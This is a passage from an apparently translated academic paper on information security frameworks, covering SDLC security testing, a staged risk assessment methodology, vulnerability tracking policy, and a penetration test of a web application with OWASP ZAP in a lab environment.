management.

A proper method of preventing the occurrence of
security failures in production applications is the
improvement of Software Development Life Cycle
(SDLC), where security is integrated at each stage.
An SDLC is a structure that is required to develop
software objects.

The SDLC model which is preferred should ensure
that security is an integral part of the development
process. Safety tests should also be included to
ensure that safety is covered and controls are
effective throughout the development process.

Principles of Security Testing

An application security evaluation software can not
succeed in-depth assessments as well as provide
adequate coverage of the tests, by estimating that
safety is a process and not a product. In order to avoid
the occurrence of recurring security problems in an
application, it is appropriate to create a security
applied to the Life Cycle Software Development.

By integrating security into all phases of the Software
Development Lifecycle, an overall approach to
application security is achieved, taking advantage of
the organization's existing processes.

The existing Life Cycle Security Frameworks
provide descriptive or guidance tips. Depending on
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the maturity of the procedure followed in the
organization, the corresponding version of the
security frame is also selected.

It is understandable that when a bug is detected as
quickly as possible in the Software Development
Lifecycle, it is treated accordingly faster and at a
lower cost. To achieve this, it is important to be as
safe as possible on security issues, development
teams and audits. It is also important to know the
security required for the project, based on its
classification in order to handle it properly
(confidential, secret, top secret, etc.).

A successful vulnerability test for an application
requires the test to be done using "out of the box"
logic so that the security test is not done based on the
normal behavior of the application but on the
behavior of an attacker attempting to break an
application. Given that each application is deployed
in a unique way, even if common application
development frameworks are used, automated
security checking tools often fail in controls, because
checks should be performed on a case-by-case basis.
Therefore, it is important to initiate a security audit
as soon as possible, making the best possible
documentation of the application, such as
architecture, flow charts and usage cases.

The completion of a test procedure, is important to
include a log file that records the test actions, the
users and the results of the tests. The format of the
report should be structured in an understandable way
for all the persons involved.

Security Test Techniques

A control technique is used to implement a security
testing program. Based on the OWASP Testing
Guide [1], these techniques are:

Manual Inspections and Review

Threat Modeling

Code Review

Penetration Testing

Selection of the best technical safety tests

The best approach in order to select the right
technique involves a balanced use of various
techniques that will cover the testing at all phases of
the Software Development Life Cycle, utilizing the
most appropriate techniques per development phase.
A balanced approach varies from case to case and
depends on many factors such as the maturity of the
testing process or corporate culture and policy.

Implementation of security testing requirements

Security requirements determine the objectives of a
test program. The main objective of the safety tests is
to validate the expected operation of the controls



through safety requirements. This means ensuring
data and service, availability, confidentiality and
integrity. On the other hand it is also crucial to
validate the implementation of security controls with
as few vulnerabilities as possible.

Initially, an understanding of the business
requirements is needed to document the security
requirements respectively.

The main objective of the safety tests is the validation
of safety requirements in terms of functionality.
Accordingly, based on risk management, the
objective of the information security assessments is
to fulfill the safety requirements.

Based on the safety assessment, safety requirements
are validated per Life Cycle Software Development
Cycle, using different testing techniques and
methodologies. An important factor in verifying that
security controls have been designed and built to
mitigate the impact of vulnerability exposure is to
take into account the underlying causes of these
vulnerabilities based on the classification of threats
and countermeasures.

Provision of functional and non-functional test
requirements

Standards, policies and regulations applied to an
organization create the need for security controls and
control functionality. The security requirements are
divided into "positive requirements" and "negative
requirements".

"Positive requirements"” concerns the test of expected
functionality through safety tests. By testing the
positive requirements, the expected functionality is
confirmed according to predefined inputs.
Respectively, the "negative requirements" refer to
security tests that control unexpected behaviors.

Security tests embedded in development and
testing workflows

By integrating security testing into the Software
Development Lifecycle, developers are enabled to
control the individual components of the software
before integrating with other components and joining
the deployed application. Software components, to be
tested may consist of software objects such as
functions, methods, classes, interfaces, libraries, or
executable files.

Given that during the workflow of the software
development process, data and code changes are
tested by developers the applications change and
finally testing is required in the application as a
whole.
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Developer security tests

The main purpose of security testing for a developer
is to validate that the code has been deployed
according to secure encoding standards. Coding
tools, such as functions, methods, classes, APls and
libraries, must be validated before being embedded in
applications.

Safety function tests

Integrated System Testing is intended to validate that
the implementation of security controls provides
multilevel security protection.

Analysis and reporting of security data

The definition of safety measurement objectives is a
basic requirement for the use of safety trial data for
risk analysis and risk management processes. The
whole amount of security test findings, for example,
can lead to quantification of the security level of the
application. They can also help to identify the
objectives of software security testing, such as setting
the minimum acceptable number of vulnerabilities
before the application enters production.

It would also be possible to compare the security
level of the application with respect to a certain
minimum security level in order to assess the safety
procedures.

The security level of an application is characterized
by the visual aspect of the result, such as the number
of vulnerabilities and their risk assessment, as well as
their causes or origins, such as coding errors,
architectural defects, and configuration issues.
Findings can be classified according to different
criteria, such as the Common Vulnerability Scoring
System (CVSS) of the Forum of Incident Response
and Security Teams (FIRST) [2].

A safety test data report, based on best practice,
should include the following information:
Categorizing a finding

What is threatened by the finding

The main cause of security issues

The control technique used

The recommended countermeasures

Scoring the criticality of the finding

2 Risk Assessment Methodology
Assessing information security risks is very
important for an organization because it aims to
identify and manage the risks to the security of its
information resources. An information resource is
defined as a service, application, system or network
where valuable information from the organization is
processed or transmitted.



To this end, it is appropriate to have a methodology
for assessing information security risks. This
methodology can help the organization to comply
with regulatory requirements as well as help to make
decisions that align actions and investments with the
level of risk acceptable to the organization and is
defined as tolerance risk.

This methodology will aim to set a framework that
can continually recognize, assess and monitor
information security risks. It will also be able to
define the appropriate security measures. The auditor
(or auditing team) will be able, through the risk
assessment methodology, to:

e Recognize critical information resources for
the organization's operations and strategic
goals

e Recognize and assess whether it is probable
that any vulnerabilities or vulnerabilities
existing in the security locks may be used by
threats

o Estimate the potential risks that have
financial or even non-financial effects

o Identify and classify the risk profile that
threatens information resources with a view
to implementing an appropriate plan to
control these risks

e Proposes appropriate techniques that will be
able to identify and prevent the sources of
threats that will attempt to exploit
vulnerabilities in order to limit the risks to
acceptable levels

e It is able to continuously monitor and report
the identified security risks.

A risk assessment methodology should be able to
support:

e Critical information
organization information

e New systems ready for production, whether
purchased or developed internally in the
organization

e Existing information systems that have
undergone significant changes or updates

e Any new products, services, or processes that
have been developed

e Application of new technologies (e.g. cloud
networks, virtualization, wireless networks
etc.)

e Existing or new external partners and / or
suppliers who provide critical services.

systems and

Overview of the methodology

The information security risk  assessment
methodology consists of processes, practices and
tools that will determine the control, management
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and evaluation of information security risks and are
designed to provide the necessary assistance to the
auditing group so that it can implement a safety risk
assessment.

The following diagram outlines the steps of the
information security risk assessment methodology:

1. Start and Scheduling

y

2. Recognition and Estimation of Resources
2.1 Recognition of Resources
2.2 Resource Estimation

L]

3. Assessing threats and vulnerabilities
3.1 Threat evaluation
3.2 Assessment of vulnerabilities
3.3 Determination of probability

y

4. Business impact analysis
4.1 Determination of Financial Operational
Implications
4.2 Determination of Non-Financial Operational
Impacts

L]

5. Determination of Risk
5.1 Risk Assessmentand Grading
5.2 Risk Management
5.3 Security Policy
Recommendations

v

6. Reporting and Evaluation
Completion

v

7.Continuous Risk
Monitoring and Reporting

Figure 1: Stages of the methodology

Stage 1: Start and Scheduling

Prior to a major change in facilities, operations or
technological change, it is considered necessary to
carry out a risk assessment. It is also required to be
implemented after a major security incident or in
cases where a new significant risk arises or even a
new regulatory requirement. In addition, there should
be a periodic risk assessment plan for the
organization's critical operations.

For the need to carry out a risk assessment, the
security officer is notified by the person in charge of
a department, installation or project. An Information



Security Officer may also trigger an evaluation if a
hazard area is identified through the continuous
monitoring of security threats.
The steps taken to accept and approve the project plan
of an information security risk assessment are
analyzed below:
e ldentify the main assessment team
e Confirming the scope of the information
security risk assessment
e Organization of Project and Arrangement
Management Approach
e Update the Evaluation Team and start the
evaluation
e Acceptance and approval of the project plan

Stage 2: Recognition and Estimation of Resources
The next step will be to identify the critical processes
and information resources of the organization that
will be integrated into the information security risk
assessment process.

The choice of critical processes only needs to be done
as it is not always effective to carry out a risk
assessment of an organization's entire information
technology resources.

The two crucial actions of this phase are "resource
recognition” and "resource assessment".

The term "resource information" may have a very
range of an application. For this purpose, in an
information security risk assessment process,
information resources represent any informational
asset or set of informational goods supporting the
organization's processes.

Stage 2.1: Recognition of Resources

The evaluation team will initially recognize the
information resources at a satisfactory level of detail,
from the operational process or a single system
perspective, in order to assess these resources.

The evaluation team collects process and resource
data in order to carry out the risk assessment. To
make resource recognition, a collection of data from
various sources is conducted, such as relevant
interviews.

If the evaluation team follows a process-based
approach, it must analyze the process and then
decompose it into logical components of evaluation
Or resources.

Stage 2.2: Resource Estimation

Once the information on the relevant process and
information resources has been collected and has
been structured into sensible evaluation components,
each component has to be assessed based on the level
of criticality. The value of the resource is derived
from the level of classification of the information or
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the information system defined in the actions of Stage
2.1 and results in a rating scale according to Table 2.

Resource Rating Continuity with Risk
Assessment?
Critical YES
Non Critical YES/NO

Figure 2: Resource Estimation Decision Table

The assessment of the value of the resource should be
consistent with a corresponding "Information
Resources Grading Methodology". The assessment
of the value of the resource ultimately determines
whether the Evaluation Team will continue with the
information security risk assessment process for an
information resource.

Stage 3: Assessing Threats and Vulnerabilities
The threat and vulnerability assessment process
checks the possibility of occurrence of incidents that
may compromise the confidentiality, integrity or
availability of the organization's information. By
fully controlling the various combinations of threats
and vulnerabilities associated with an information
resource, the assessment team will be able to have a
clearer understanding of the frequency and exposure
of specific incidents to be exploited by the
corresponding sources of threats.

Stage 3.1: Threat evaluation

The range of threats that may compromise the
confidentiality, integrity and availability of the
organization's information is large. Threats may arise
from inadvertent human errors or dysfunctions of
supporting infrastructure, or even deliberate attacks
from malicious third parties.

It is most likely that it is not always possible to carry
out an assessment in a system that takes into account
all possible threats. It may not be practical in many
cases. To this end, it is appropriate for the project to
identify a list of threats to be used to assess threats,
which should be realistic and manageable.

For the purpose of conducting an information
security risk assessment process, a threat is divided
into two main elements:

The threat agent: refers to the source of the threat
The threat action: refers to the actual action being
taken by the threat.



Stage 3.2: Assessment of vulnerabilities

The wvulnerability assessment process involves
assessing the level of wvulnerabilities and the
effectiveness of security controls associated with an
information resource. The existence of vulnerabilities
or vice versa weaknesses in security controls increase
the likelihood of a threat agent to exploit
vulnerability and achieve the associated threat action.
Initially, the assessment team should evaluate the
effectiveness of the existing safeguards for each
identified threat and choose the rating value. This can
be achieved through the use of various existing data
and information sources by information owners and
specialists with object managers using indicative lists
of vulnerabilities.

At this point, it is necessary to decide or calculate if
the level of risk is acceptable, so the assessment of
the safety valve is "Strong" or "Sufficient", taking
into account the existing measures. If this is the case,
then the security risk assessment process is
completed. Otherwise, the information security risk
assessment process is continuing for the relevant
threat.

Stage 3.3: Determination of Probability

As a probability, in the framework of the information
security risk assessment process, the estimated
frequency (likelihood of occurrence) where a threat
may exploit a vulnerability or vulnerability that has
been identified, and thereby adversely affects the
confidentiality, integrity or / and the availability of
the information resource.

"Frequency" is the price that the Assessment Team
will set to indicate how often an incident is likely to
occur. For each risk, the Review Team will calculate
the frequency value. Impact and frequency
assessment is more subjective than accurate.
Therefore, all available sources of information,
whether internal or external, should be exploited to
minimize the subjectivity inherent in the information
security risk assessment process and to ensure the
consistency of risk assessment.

The frequency and impact factors to be taken into
account, and the sources of information are as
follows:

Older issues or findings

Key Risk Indicators (KRIs)

Data Loss (Internal Sources) / Older Events
Data Loss (external sources)

Existing Safety Drivers

Operational Environment Factors

Expert Opinion and Judgment

Other factors worth mentioning
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Stage 4: Business Impact Analysis

Business Impact Analysis is a process based on
business operations and aims at assessing the impact
(financial and / or not) that is expected to be caused
by compromising the confidentiality, integrity and /
or availability of an information resource that is due
to the successful exploitation of a vulnerability from
a recognized threat.

The value resulting from the Business Impact
Analysis (or risk analysis) reflects the cost of the
impact of the risks on financial and / or qualitative
terms.

The operational impact (or the impact of the risks) is
measured in financial and / or non-financial terms.
Since Business Impact Analysis is an operational
activity, the information provided by Information
Managers and related business personnel is critical.

Stage 4.1: Determination of Financial Operational
Implications
Financial impacts can be assessed at two levels:

e Average Value

e Maximum Value
The determination of both "Average" and
"Maximum" value is done using standard scales of
impact rather than individual values.

Stage 4.2: Determination of Non-Financial
Operational Impacts

At this stage a Repeat of Stage 4.1 actions should be
performed for each identified risk in relation to the
Non-Financial Impact using a relevant table where
the highest incidence per qualitative class is selected.

Stage 5: Determination of Risk

At this stage, the results of Frequency, Financial and
Non-Financial Impact for each risk are combined and
matched to produce an overall risk assessment. The
overall risk assessment is reflected in a range of four
values:

2 — Medium
Severity

3 - High
Severity

Figure 3: Risk assessment rates

According to the results of the Risk Assessment,
every risk is assigned to a risk map (Financial or Non-
Financial). The risk map sets out the categories of
risk and frequency effects, where each grade is
actually a range of values. The product of the loss
value and the probability value gives an average
value of the expected loss from a probable event and
represents the residual risk.



The risk assessment will ultimately determine the
risk management actions.

Stage 5.1: Risk Assessment and Grading

At this stage, for each identified risk, an overall
Frequency and Total Financial and Non-Financial
Impact Assessment should be mapped. The work is
repeated for the other dangers.

Stage 5.2: Risk Management

In this step, the Assessment Team has adequately
understood the information security risks of
information resources and is ready to examine the
response to the risk or the options to address them.
The objective of this step is to select an appropriate
risk response or action to achieve an acceptable level
of residual risk that is in line with the organization's
tolerance requirements.

Overall, there are four (4) broad categories of risk

response:
e Avoid
e Decrease
e Sharing / Transfer
o Accept

If the overall risk has been assessed as "Medium",
"High" or "Critical", then a risk plan for risk action is
required. If it has not been evaluated with one of the
above categories, then the process is terminated for
that particular risk.

Stage 5.3: Security Policy Recommendations
Where risk management has been selected through
risk reduction, the Assessment Team should propose
appropriate safeguards to effectively reduce the
likelihood of the threat source exploiting the
vulnerability to an acceptable level of residual risk.
Choosing the right safety valves requires a good
understanding of the safety valves available to meet
a particular requirement within the organization,
knowledge of how they work, and how effective they
are under the circumstances.

Stage 5.4: Risk Management Plan

Final work at this stage requires the unification and
prioritization of selected risk decisions by the
Assessment Team. The risk management plan shall
include the essential characteristics of each hazard
identified on the basis of the data collected, the
calculated values and the safety guides proposed to
reduce the risks to an acceptable level.

Any risk also requires the identification and
assignment of a risk holder who will be responsible
for reviewing and approving risk plans and other
risks. The Risk Owner will also be responsible for the
implementation of the risk plan.

146

Stage 6: Reporting and Evaluation Completion
The goal of this phase is to finalize the deliverables
and complete the information security risk
assessment task. At the end of this phase, the
Evaluation Team will have communicated the results
of the risk assessment to all relevant stakeholders and
will have collected all the 'working documents'
needed to support all activities carried out in the
safety risk assessment process information. It is
important that the working papers and all the
information used are maintained, as the results of the
risk assessment are subject to review by the same
stakeholders, auditors or regulators.

Stage 7:
Reporting
The primary objective of this phase is to ensure that
the state of risk plans are regularly monitored and key
stakeholders are informed. During the security risk
monitoring, key stakeholders should be informed of
the progress of the agreed implementation actions,
the effectiveness of the selected safety measures /
actions and the potential areas where improvement or
escalation is required to resolve any issues.

Continuous Risk Monitoring and

Quality assurance
The following criteria are set to ensure that the
guality of the Information Security Risk Assessment
process is maintained at a satisfactory level. This will
ensure that the analysis is done with valid and
accurate data, limiting any future events.

e Effective project management

e Commitment of Project Support and Team

Leader

e Commitment of Stakeholders
Common language / common evaluation
criteria
Regular review of ratings
Employees training
An Assistant Risk Assessment Tool
Quality of Documentation

3 Vulnerability Tracking Policy and

Penetration Tests

Each organization should aim at creating a policy that
will be able to maintain an adequate level of security.
The implementation of this policy will help provide
information security assurance and will also help
assess their security level. Implementation of the
policy should be valid at administrative as well as
technical level.

For policy making, account should be taken of the
key principles of identifying weaknesses as well as



the process of conducting audits, the frequency with
which security controls will be carried out, the range
that they will have, the tools to be used, and how the
results of the security controls will be presented and
managed.

Basic principles
The Information Security Officer, in collaboration
with the IT Officer and the Internal Audit Officer of
the organization, will be responsible for creating and
maintaining a Security Plan. This plan should be
checked and reviewed annually.
As soon as the Security Plan is completed will be
presented by the Information Security Officer for
approval by the organization's management.
Standards under which security and administrative
controls will be conducted will be maintained and
updated under the responsibility of the Information
Security Officer. These standards should include at
least the following:

e Control Plan Template

¢ Audit and Management Information Review

e Summary Template
For outsourcing assignments to implement Security
Checks, it is appropriate to have a relevant policy that
defines the methods of selecting and managing
collaborations with external partners.
All security checks should be recorded in a log life
containing the audit data, the results recorded, the
corrective actions proposed, and the corresponding
actions finally taken to resolve the audit findings. The
file manager is the Information Security Officer.

Security checks

It is important that the number of checks that take
place ensure that the organization's security is as
effective and comprehensive as possible. Technical
security controls should take place for IT systems and
infrastructures such as databases, applications,
networks, etc., and technical controls of the Internet's
security infrastructure, the internal network of the
organization, and the protection against malware.
These checks will ensure the effectiveness of the
security mechanisms, compliance with the security
framework of the organization, and the disclosure of
any security weaknesses in order to take appropriate
action to correct them. Security Vulnerability defines
the absence or failure of a security mechanism that
would put an attack on an information system as a
risk.

Controls should also be carried out to ensure
compliance with the safety management mechanisms
implemented by the organization to assess the
efficiency of security procedures and standards, to
verify compliance with the security framework and

147

to confirm that the implemented security framework
covers any organizational and procedural changes
that are or may be in relation to its previous audit.

It is understandable that the most important controls
carried out in an organization concern the control of
the organization's interconnection infrastructure over
the Internet.

For the design of controls, formal standards should
be calculated and as many as possible or at least the
most important of the known scenarios of attacks
should be included. At the same time, the procedures
for operating and managing the system under review
should be checked and evaluated. The purpose of the
audit should be recorded and agreed with the
operational manager of the application or
infrastructure under consideration.

Important factors to be taken into account are the
ability of the staff to carry out the audit, its
objectivity, and the compliance with the standards
and procedures of the organization.

Frequency and Range of Security Checks

It is important, with a view to assessing the
compliance and effectiveness of the security
technology mechanisms, and the corresponding
administrative mechanisms, that periodic
independent safety checks be carried out on these
mechanisms in a production environment.
Indipended Security Audit defines security controls
performed by a mechanism, internal or external,
which has nothing to do with the controlled system.

For the design of these security controls, any
modifications to the IT infrastructure, organizational
infrastructure, technological developments, findings
of previous audits, as well as any modifications to the
acceptable levels of risk for the controlled
infrastructure, should be considered.

The classification of the information system or
infrastructure, as well as its risk, determines the
periodicity with which the independent audits will be
carried out.

A policy, a process or a standard (which are essential
components of the organization's Security
Information Framework) that have been applied to an
organization should be evaluated periodically, with
the frequency and range of ratings being proportional
to their degree of maturity and their application to the
organization.

The assessment of the Information Security
Framework should include the following:

e Level of application and competence of
information security policies, processes and
standards, from the  organization's
executives, as well as from external partners



e Proficiency level and testing of the Business
Continuity Plan as well as the corresponding
Disaster Recovery Plan

A plan of periodic technical security controls for the
integrated IT systems of the organization should be
drawn up, and exceptional checks may be carried out
if deemed necessary on the basis of the criticalness of
such systems.

The Information Security Officer, in collaboration
with the IT Officer, should frequently review the list
of IT systems and infrastructures, as well as the plan
of periodic inspections, to ensure their adequacy and
completeness.

Technical security audits are designed to assess the
security technologies used and to ensure that the
highest possible level of safety is provided based on
their characteristics. The frequency and scope of
these checks should be tailored to the requirements.

Usage of Safety Technical Inspection Tools
Specific software and devices used to perform
technical controls must be accessible to a limited
number of authorized executives designated by the IT
Officer of the organization with the approval of the
Information Security Officer.

The tools, used in a technical inspection should be
carefully adjusted so that functions that are not
required to carry out the check remain inactive.
During a technical inspection, the users of the tools
should record all the actions taken, for reproduction
and control if required.

Results of security checks

When a security check is completed, the results of the
checks are recorded. The results of the security
checks are defined by the information recorded by the
control. The format of this information can be in
documents, archives, source code, etc.

The results of security audits should provide as much
information as possible so that the validity of the
conclusions and suggestions can be checked also by
an auditor that is not related to the audit.

The results of the checks shall contain at least the
following information:

e The purpose and objectives for which the
security check was carried out, the scope of
the audit, the source of the information
gathered, the methodology followed and the
possible sampling criteria used.

e Documentation of the work done, including
the conclusions and proposals submitted. In
addition, descriptions of the information
systems and infrastructures tested should be
included.
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e Confirmation of both the completion of the
work and its documentation have been
accepted by the security officer.

The classification of the information related to the
results of the security checks should be done at the
corresponding rating level defined by the rating
scheme designated by the organization. The results of
a security check should be classified at least with a
"CONFIDENTIAL" rating.

The results of a security check are delivered by the
security auditor solely to the organization's Security
Officer and the Controlled Unit Manager.

On the basis of the procedure for correcting the safety
deficiencies to be followed, after completion of the
modifications, a confirmation check will be carried
out, where the methodology and parameters to be
followed will be similar to those of the initial safety
check, incorrect (non-homogeneous) comparisons.

4 Carry out penetration tests

This chapter will perform penetration tests of an
application, the development of which has been
completed and is ready for User Acceptance Test
(UAT).

Given that previous chapters analyzed security safety
recommendations provided by OWASP, it was
considered appropriate to use the tool provided by
OWASP Zed Attack (ZAP) to perform penetration
testing.

Essential for penetration testing

The penetration tests (Pentesting) is implemented
with the controller acting as a malicious external
attacker who aims to enter the system and either steal
data or perform some kind of denial-of-service
attack.

Penetration testing has the advantage of being more
accurate because it has fewer wrong results (results
that indicate a vulnerability that is not actually
present), but it may be time consuming to implement
it. It is also used to test defense mechanisms, check
response plans, and confirm compliance with
security policy.

Automated penetration tests are an important part of
the continuous security screening process. They help
in discovering new vulnerabilities as well as re-
emergence of previous vulnerabilities in an
environment that is changing rapidly.

The Penetration Testing Process

Both automated and manual penetration is used, often
in combination, to test everything in an infrastructure
such as servers, networks, devices, and endpoints. In
the example to be implemented in this study,
penetration tests will be conducted for web



application, in a test environment that consists of the
absolutely necessary infrastructure, in a virtual
environment that has nothing to do with the
productive one.

Penetration tests typically follow the following steps:

o Explore - The controller attempts to learn
about the system being tested, where it
determines which software is used, which
endpoints exist, which patches are installed,
etc. Also looking for hidden content on the
site, known vulnerabilities and other signs of
weakness.

e Attack - The controller attempts to exploit
the known or suspicious vulnerabilities to
prove they exist.

e Report - The auditor reports test results,
including vulnerabilities, how they were
exploited, and how difficult it was to exploit
and sever it.

The ultimate goal of penetration testing is to
investigate vulnerabilities so as to address them.
They can also verify that a system is not vulnerable
to a known category or a specific defect, and in cases
of wvulnerabilities that have been reported as
corrected, they assert that the system is no longer
vulnerable to these vulnerabilities.

Test environment

To perform a penetration test, a test environment was
prepared which includes a terminal on which Hyper-
V Manager was activated. Hyper-V enabled a virtual
machine on which Windows Server 2012 R2 was
installed. The virtual server has enabled Microsoft
I1S 8.

Also in the same virtual server was installed Data
Base, Microsoft SQL Server 2012.

The application to be tested has been deployed with
Web Forms in the .NET Framework. The test is
completed after the application development has
been completed, in order to find possible security
findings before being given User Acceptance Test
(UAT).

To implement the tests, OWASP ZAP 2.7.0 was
installed on the terminal where Virtual Server was
activated.

Application testing was performed using ATTACK
Mode.

Report

The information displayed on the ZAP screen also
allows the application to be exported in the form of a
report, which provides detailed information per
finding, in order of risk category. Each finder
provides information such as the description of the
finding, the URL in which it was found, the method
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used with the corresponding parameters, as well as
resolution instructions and internet referrals, with
additional instructions on each finding and its
methods of solving.

The reference to the way it is exported is very
important because it provides the most of the
information that will need to be given to the
stakeholders analyzed in the previous chapters
(administration, security officer, IT administrator,
etc.) in order to proceed with the actions required to
resolve or accept the risk in the event that a finding is
deemed not to be solved or its resolution is
unprofitable in relation to the risk arising from the
particular finding.

Conclusion

Corporate Information is probably the most valuable
asset for many organizations. To this end, its
protection is necessary to ensure the trust of the
organization's clients as well as its competitive
position, while the organization's compliance with its
regulatory framework is to be documented.

Due to the increasing dependence of organizations on
information and information systems that process
them, they face daily increasing business risks due to
the emergence of new technological and other
threats.

On the basis of these major threats, which are even
capable of affecting the sustainability of an
organization, it is absolutely necessary to implement
measures to minimize these risks. Information
security, which manages the part of the business risk
that stems from the information systems that are
dependent on the organization, is trying to secure this
need. A key tool for information security is the
establishment of an Information  Security
Framework, which defines the strategy and all
security principles set by the Organization's
Management.

Important elements of an Information Security
Framework, according to the information security
standards, are the information security Risk
Assessment  Methodology, the  Vulnerability
Tracking Policy and the Penetration Tests that were
analyzed above in the study. Risk Assessment
Methodology enables an organization to recognize
and evaluate the risks involved in the security of its
information resources in order to organize as much as
possible the steps necessary to protect it, as
suggested, for example, by OWASP [3].

Alongside the Vulnerability Tracking Policy and
conducting security controls, the organization is
allowed to maintain an adequate level of security.
Finally, by conducting Penetration Tests, which are
one of the tools of a policy of identifying weaknesses



and conducting audits, it is possible to identify
weaknesses in applications and the infrastructures in
which they will operate. As has been extensively
analyzed in the study, based on OWASP's proposals
[4], penetration testing is not the only security testing
tool but is part of a larger design whose size depends
on the size of the organization and its information
systems, and the data it is required to protect. Also,
the implementation of only penetration testing in one
application, is not sufficient and it is necessary to
control the entire infrastructure.

From the audit report that was conducted, it was
found that some of the findings were infrastructure
problems and not applications. At the same time,
depending on the criticalness of an application or an
information system, it is appropriate to develop
systems of continuous security monitoring and
privacy and security design as proposed by OWASP

[5].
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